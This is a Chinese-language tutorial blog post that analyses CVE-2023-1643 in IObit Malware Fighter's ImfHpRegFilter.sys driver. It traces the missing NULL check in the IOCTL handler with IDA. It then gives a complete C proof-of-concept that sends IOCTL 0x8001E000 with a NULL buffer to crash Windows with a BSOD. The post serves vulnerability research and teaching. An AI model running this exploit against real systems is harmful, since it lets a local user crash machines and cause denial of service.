我們在【第 08 話】攻擊自己寫的驅動程式-Null Pointer Dereference 攻擊 AbuseEprocessTokenDrv.sys 程式中的漏洞,造成系統的崩潰。
這篇要直接來找現實產品中的驅動程式曾經發生的類似漏洞,攻擊 IObit Malware Fighter 的 ImfHpRegFilter.sys 的 CVE-2023-1643,同樣是造成 Null Pointer Dereference。
首先來看看 CVE-2023-1643 在 MITRE 的描述。
A vulnerability has been found in IObit Malware Fighter 9.4.0.776 and classified as problematic. Affected by this vulnerability is the function 0x8001E000/0x8001E004/0x8001E018/0x8001E01C/0x8001E024/0x8001E040 in the library ImfHpRegFilter.sys of the component IOCTL Handler. The manipulation leads to denial of service. Attacking locally is a requirement. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-224023.
直接用列點的方式抓重點。
- 軟體:IObit Malware Fighter 9.4.0.776
- 元件:ImfHpRegFilter.sys
- 漏洞位置:IOCTL Handler 的 IoControlCode 0x8001E000、0x8001E004、0x8001E018、0x8001E01C、0x8001E024、0x8001E040
- 影響:DoS(Denial of Service)
從我的 GitHub 下載目標驅動程式檔案 ImfHpRegFilter.sys 後在 VM 中載入,然後執行 DriverView,可以看到剛剛載入的驅動程式。
對驅動程式檔案點右鍵 => 內容 => 數位簽章,可以看到 ImfHpRegFilter.sys 的數位簽章資訊,是 2019 年 12 月 17 日的簽章。
很幸運的這個 CVE 的描述算是很齊全,畢竟有些 CVE 可能只會說軟體的版本跟造成的影響。
直接開 IDA 分析 ImfHpRegFilter.sys,從 DriverEntry
找到 Symbolic Link Name Imf8HpRegFilter
和 Dispatcher 的函數位址。
跟進 Dispatcher,根據 CVE 的描述,漏洞出在 IoControlCode 0x8001E000、0x8001E004、0x8001E018、0x8001E01C、0x8001E024、0x8001E040。先看 0x8001E000,這個 IoControlCode 實作的程式很短,跟【第 08 話】攻擊自己寫的驅動程式-Null Pointer Dereference 有相同的錯誤,就是沒有先檢查 SystemBuffer 是否為 NULL 就直接存取它而導致 Null Pointer Dereference。
其他 0x8001E004、0x8001E018、0x8001E01C、0x8001E024、0x8001E040 其實都是相同的狀況,這篇就不一一截圖。
既然我們知道在 IoControlCode 0x8001E000 時,呼叫 DeviceIoControl
的 InputBuffer 給 NULL 就會導致 Null Pointer Dereference,我們可以很容易寫出攻擊腳本。完整的專案也放在我的 GitHub zeze-zeze/2023iThome。
#define SymLinkName L"\\\\.\\Imf8HpRegFilter"
int main(int argc, char* argv[])
{
HANDLE hDevice = CreateFile(SymLinkName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_SYSTEM, 0);
if (hDevice == INVALID_HANDLE_VALUE)
{
printf("Get Driver Handle Error with Win32 error code: %x\n", GetLastError());
return 0;
}
DWORD dwWrite;
// 輸入 NULL 會造成 ImfHpRegFilter.sys 的 Null Pointer Dereference
DeviceIoControl(hDevice, 0x8001E000, NULL, 0, NULL, 0, &dwWrite, NULL);
return 0;
}
在 VM 中安裝 IObit Malware Fighter 9.4.0.776 或者直接載入 ImfHpRegFilter.sys 後執行 CVE-2023-1643.exe,會看到 BSOD 如下圖。